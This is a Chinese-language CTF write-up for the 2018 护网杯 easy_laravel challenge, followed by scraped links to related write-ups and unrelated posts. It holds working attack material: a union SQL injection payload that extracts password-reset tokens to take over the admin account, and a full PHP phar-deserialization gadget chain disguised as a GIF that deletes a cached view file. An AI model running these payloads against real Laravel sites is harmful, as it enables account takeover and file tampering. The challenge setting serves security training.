前言

题目环境

buuoj 上的复现,和原版的题目不是完全一样。原题使用的是 nginx + mysql 而 buuoj 上的是 apache + sqlite

composer

这是在 PHP5.3 以上的一个依赖管理工具。感觉和 docker 很像,docker-compose 根据 docker-compose.yml 中配置的服务和镜像,生成虚拟机。PHP 中的 composer 则是根据 composer.json 加载配置的 php package

配置更新源,Composer 镜像站

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

升级

composer self-update 或者 composer update --lock

诊断命令

composer diagnose

清除缓存

composer clear

根据 composer.json 安装 php package

composer install

SQL 注入

不难发现在 App\Http\Controllers 中的 NoteController 存在注入

注入语句 admin' union select 1,2,3,4,5-- 返回正确,且是在第 2 个字段返回

在数据库配置文件 database 目录下可以发现 admin 的相关信息,以及 users password_resets notes 三个表的建表信息

密码重置

可以找到 admin 的相关信息,但是无法解出密码。然后在 login 页面发现可以重置密码,且在重置密码的表中发现,重置密码需要 email 和 token

email 是已知的,只需要找到 token 就可以重置密码,而 token 可以通过注入获得

admin' union select 1,(select email||'::'||token from password_resets limit 0,1),3,4,5--

然后访问 http://url/password/reset/token 即可重置密码,加上 token 是 laravel 默认重置密码的方法。这里就是访问 http://796570fa-9501-4d8a-8b78-bc0afeea00dd.node3.buuoj.cn/password/reset/584256164e7a29b57db2de53ab35d9a27b76d61eb19809ab3968142f24fa55cd

然后就可以以管理员身份登陆后台

Blade expired

Blade 是 laravel 提供的一个简单强大的模板引擎。它是把 Blade 视图编译成原生的 PHP 代码并缓存起来。缓存会在 Blade 视图改变时而改变

这里就是由于旧缓存的存在,导致看不到 flag 因此可以考虑删除旧缓存来读取 flag

blade 缓存位置是 storage/framework/views apache 的默认目录是 /var/www/html/ 在一起就是 /var/www/html/storage/framework/views 结合上面的 sha1 就是 /var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php

phar 反序列化

删除缓存文件的话,在安装的这些 php package 中发现有 unlink 的 __destruct() 函数,这就可以上传 phar 文件,然后再找到触发函数即可

然后在 UploadController 中的 check() 函数中发现调用了 file_exists() 函数,并且两个参数都可控

并且上传的路径也可以获得

于是就可以构造 payload

pyload

<?php
abstract class Swift_ByteStream_AbstractFilterableInputStream
{
/**
* Write sequence.
*/
protected $_sequence = 0; /**
* StreamFilters.
*
* @var Swift_StreamFilter[]
*/
private $_filters = array(); /**
* A buffer for writing.
*/
private $_writeBuffer = ''; /**
* Bound streams.
*
* @var Swift_InputByteStream[]
*/
private $_mirrors = array(); } class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream
{
/** The internal pointer offset */
private $_offset = 0; /** The path to the file */
private $_path; /** The mode this file is opened in for writing */
private $_mode; /** A lazy-loaded resource handle for reading the file */
private $_reader; /** A lazy-loaded resource handle for writing the file */
private $_writer; /** If magic_quotes_runtime is on, this will be true */
private $_quotes = false; /** If stream is seekable true/false, or null if not known */
private $_seekable = null; public function __construct($path, $writable = false) {
$this->_path = $path;
$this->_mode = $writable ? 'w+b' : 'rb'; if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
$this->_quotes = true;
}
} /**
* Get the complete path to the file.
*
* @return string
*/
public function getPath()
{
return $this->_path;
} } class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream
{
public function __construct()
{
$filePath = "/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php"; parent::__construct($filePath, true);
}
public function __destruct()
{
if (file_exists($this->getPath())) {
@unlink($this->getPath());
}
}
} $obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();

生成 1.phar 改名为 1.gif 并上传,在 check 中触发反序列化,删除缓存文件后读取 flag 即可

[护网杯2018] easy_laravel的更多相关文章

  1. buu[护网杯 2018]easy_tornado

    [护网杯 2018]easy_tornado 1.看看题目给了我们三个文件: /flag.txt url=?filename=/flag.txt&filehash=98c6aac4fbecf1 ...

  2. [护网杯 2018]easy_tornado 1

    复现一道关于tornado的题目 首先可以得知此题用的是tornado,基于python的后端框架,多半是ssti注入 有三个文件,首先可得知flag在何处 然后观察hint和url就知道要根据coo ...

  3. [护网杯 2018]easy_tornado-1|SSTI注入

    1.打开之后给出了三个连接,分别查看下三个连接内得信息,结果如下: 2.url中参数包含一个文件名与一串应该是md5得加密的字符串,文件名已经获得了,就需要获取加密得字符串,但是加密字符串时需要使用到 ...

  4. [原题复现]2018护网杯(WEB)easy_tornado(模板注入)

    简介 原题复现:  考察知识点:模板注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 [护网杯 2018]eas ...

  5. 护网杯圆满结束,还不满足?不如来看看大佬的WP扩展思路~

    护网杯预选赛 WP转载自:https://qingchenldl.github.io/2018/10/13/%E6%8A%A4%E7%BD%91%E6%9D%AFWP-BitPwn/#more WEB ...

  6. 强网杯2018 - nextrsa - Writeup

    强网杯2018 - nextrsa - Writeup 原文地址:M4x@10.0.0.55 所有代码均已上传至我的github 俄罗斯套娃一样的rsa题目,基本把我见过的rsa套路出了一遍,值得记录 ...

  7. 2019护网杯baby_forensic

    题目名称:baby_forensic题目描述:can you catch the flag?附件:“data.7z” 2019护网杯初赛的一道取证题,比赛时没做出来,赛后又研究了一下. 获取profi ...

  8. 2018护网杯-easy_laravel 复现

    题目docker环境: https://github.com/sco4x0/huwangbei2018_easy_laravel git clone下来直接composer up -d 运行即可,可以 ...

  9. 2018护网杯easy_tornado(SSTI tornado render模板注入)

    考点:SSTI注入 原理: tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且 ...

随机推荐

  1. 01FPGA设计流程

    今天学习了FPGA设计流程的视频,我理解要做一个完整的FPGA系统,所要经历的步骤,先将它简单总结如下: 我在对上面的流程图进行解释: 第一:设计定义就是我们这个FPGA系统或者FPGA设计所要实现的 ...

  2. OpenCV-Python SIFT尺度不变特征变换 | 三十九

    目标 在这一章当中, 我们将学习SIFT算法的概念 我们将学习找到SIFT关键点和描述算符. 理论 在前两章中,我们看到了一些像Harris这样的拐角检测器.它们是旋转不变的,这意味着即使图像旋转了, ...

  3. Mysql性能优化:如何给字符串加索引?

    导读 现代大部分的登录系统都支持邮箱.手机号码登录两种方式,那么如何在邮箱或者手机号码这个字符串上建立索引才能保证性能最佳呢? 今天这篇文章就来探讨一下在Mysql中如何给一个字符串加索引才能达到性能 ...

  4. PHP7内核(六):变量之zval

    记得网上流传甚广的段子"PHP是世界上最好的语言",暂且不去讨论是否言过其实,但至少PHP确实有独特优势的,比如它的弱类型,即只需要$符号即可声明变量,使得PHP入手门槛极低,成为 ...

  5. Soldier and Number Game CodeForces - 546D 素因子数打表(素数筛的改造)

    题意: 输入 a 和 b(a>b),求a! / b!的结果最多能被第二个士兵给的数字除多少次. 思路: a! / b!肯定能把b!约分掉,只留下b+1~a的数字相乘,所以我们求b+1 ~ a的所 ...

  6. 解决pycharm不能导入bs4模块问题

    问题描述: 在导入bs4模块时有报错提示 “ Traceback (most recent call last): File "E:/project/code/py-pengfu/py-pf ...

  7. 将Windows项目发布到Ubuntu服务器详细教程(Windows编程,Ubuntu服务器做解释器)

    前期准备 (1)专业版Pycharm(社区版没有deployment功能),学生,教师可申请免费专业版,详情可看我的博客. (2)可通过SSH连接Ubuntu服务器,并且服务器安装了Python解释器 ...

  8. Ptask公告

    这是一款非常弱鸡的小程序,不喜勿喷 你们好!如在使用中有bug或者有您宝贵的建议请在下方评论区留言或者投递至我的邮箱:Mj_Ymr@outlook.com. 那么我也会不断更新,并在这里贴上各版本的下 ...

  9. 1000行MySQL学习笔记,不怕你不会,就怕你不学!

    Windows服务 -- 启动MySQL net start mysql-- 创建Windows服务 sc create mysql binPath= mysqld_bin_path(注意:等号与值之

  10. 艾编程coding老师课堂笔记:java设计模式与并发编程笔记

    设计模式概念 1.1 什么是设计模式 设计模式(Design Pattern)是前辈们对代码开发经验的总结,是解决特定问题的一系列套路.它不是语法规定,而是一套用来提高代码可复用性.可维护性.可读性. ...